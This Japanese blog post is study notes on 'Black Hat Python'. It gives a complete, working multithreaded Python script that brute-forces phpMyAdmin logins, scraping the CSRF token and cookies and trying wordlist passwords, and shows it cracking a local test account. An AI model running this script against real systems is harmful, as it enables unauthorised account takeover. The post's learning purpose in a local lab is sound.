Engineering Note

プログラミングなどの技術的なメモ

5.4 HTMLフォームの認証を総当たり攻撃で破る (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)

本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。 

前回は辞書ファイルを使い、Webアプリケーションにおけるファイルやディレクトリ構成を把握するためのツール作成方法について学びました。

今回はWebアプリケーションの管理者用のログイン認証に対する総当たり攻撃(ブルートフォース)について学んでいきます。

 

 

Webシステムへのログイン認証について

現在では、Web上で何らかのサービスを受けるためにアカウントを作成する機会が多いと思います。

これらのアカウントに対する認証としては、ユーザ名(ID)とパスワードの組をチェックするのがほとんどです。

認証とは、利用者が本人かどうかを確認することを指し、上記ではユーザ名とパスワードの手段を使って認証します。

また認証済みの利用者に対して、なんらかの権限(データ参照・登録・更新・削除やサービス)を付与することを認可と言います。

セキュリティ意識の高い企業は、上記の認証に加えてCAPTHA(Completely Automated Public Turing test to tell Computers and Humans Apart)と呼ばれる、歪んだ文字列を読み取り、入力することで、人間か機械(ボットなど)かを判断するような仕組みをとったりしています。

しかし、AIの画像認識精度の向上により、CAPTCHAでは不十分な状況であるのが現実です。

そのため、2段階認証と呼ばれる、ログイン後にさらにサーバからSMSなどで送られるセキュリティコードを入力させたり、特定の画像にチェックを入れるように促したり、パズル形式で画像をはめ込んだり、または特定の回数を間違えればアカウントをロックするなど、様々な工夫が見受けられます。

 

phpMyAdminへのログイン

書籍ではCMSのJoomlaに対する総当たり攻撃をする方法がありますが、ここではphpMyAdminに対して行ってみたいと思います。

基本的にはJoomlaと同じで、以下の手順となります。

 

  1. ログイン画面にアクセスする
  2. クッキーを取得する
  3. POSTメソッドで送信するフォームボディを取り出す
  4. ユーザ名とパスワードをフォームボディに追加する
  5. 上記のフォームボディをクッキーとともにPOSTリクエストする

 

phpMyAdminでログインする際に必要なフォームボディ部分は以下となります。

 

forms

 

上記はローカルプロキシツールで有名なFiddlerで取得したものです。

"token"は、ログイン画面にアクセスする度に変更されるため、これが総当たり攻撃の対策の役割の一つとなっています。

 

ライブラリのインポートとグローバル変数の定義

以下が今回インポートするライブラリとグローバル変数の定義になります。

 

# phpmyadmin_killer.py
from bs4 import BeautifulSoup
from threading import Thread
from queue import Queue
import requests

user_thread = 10
username = "admin"
wordlist_file = "password.lst"
resume = None

target_url = "http://localhost/phpmyadmin/index.php"
target_post = "http://localhost/phpmyadmin/index.php"
username_field = "pma_username"
password_field = "pma_password"

success_check = "logout"

 

書籍ではHTMLParserを使ってログイン画面のhtmlファイルをパースしていますが、ここではシンプルにBeautifulSoupを使いたいと思います。

ユーザ名は固定にして、パスワードだけを辞書ファイルから読み取ってログイン認証を試みます。

"success_check"変数は、ログイン認証が成功したかどうかを確認するために用い、ログイン後の画面だけに表示される文字列があるかチェックします。

 

Bruterクラスの作成

上記が今回のメインとなるクラスオブジェクトです。

 

class Bruter(object):
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False
        print("Finished setting up for: {}".format(username))

    def run_bruteforce(self):
        for i in range(user_thread):
            t = Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get()
            response = requests.get(target_url)
            print("Trying: {}: {} ({} left)".format(self.username, brute, self.password_q.qsize()))
            jar = response.cookies
            soup = BeautifulSoup(response.text, 'lxml')
            tag_attrs = self.html_parser(soup)
            tag_attrs[username_field] = self.username
            tag_attrs[password_field] = brute
            login_data = requests.post(target_url, data=tag_attrs, cookies=jar)
            if success_check in login_data.text:
                self.found = True
                print("[*] Bruteforce successful")
                print("[*] Username: {}".format(username))
                print("[*] Password: {}".format(brute))
                print("[*] Waiting for other threads to exit ...")


    def html_parser(self, soup):
        tag_results = {}
        attrs = soup.find_all(type='hidden')
        for a in attrs:
            tag_name = None
            tag_value = None
            for name, value in a.attrs.items():
                if name == 'name':
                    tag_name = value
                if name == 'value':
                    tag_value = value
            tag_results[tag_name] = tag_value
        return tag_results

 

メイン関数の作成

以下がメイン関数になります。

 

def main():
    with open(wordlist_file, 'r', encoding='utf-8') as f:
        words = Queue()
        for w in f.readlines():
            words.put(w.rstrip())

    bruter_obj = Bruter(username, words)
    bruter_obj.run_bruteforce()

if __name__ == '__main__':
    main()

 

動作確認

それでは、上記で作成したスクリプトを実行してみます。

テスト環境としては、WSL Ubuntu上のApachePHPおよびMySQLを使います。

サーバが起動したら、コマンドプロンプトからスクリプトを実行します。

 

 > python phpmyadmin_killer.py
 Finished setting up for: admin
 Trying: admin: administrator (0 left)
 Trying: admin: pass (0 left)
 Trying: admin: test (0 left)
 Trying: admin: admin (0 left)
 Trying: admin: password (0 left)
 [*] Bruteforce successful
 [*] Username: admin
 [*] Password: password
 [*] Waiting for other threads to exit ...

 

問題なくログイン情報が取得できたことが確認できました。

 

最後に

今回はログイン認証のあるWebアプリケーションに対する総当たり攻撃の方法について学びました。

最近はパスワードの複雑化を促す風潮になっていますが、未だにすぐに破られるような単純なパスワードを使っているユーザもいると思います。

これらの辞書ファイルもネット上を探せば見つかるので、一度自分のセキュリティ状況をチェックするのも良いと思います。

 

参考書籍

サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考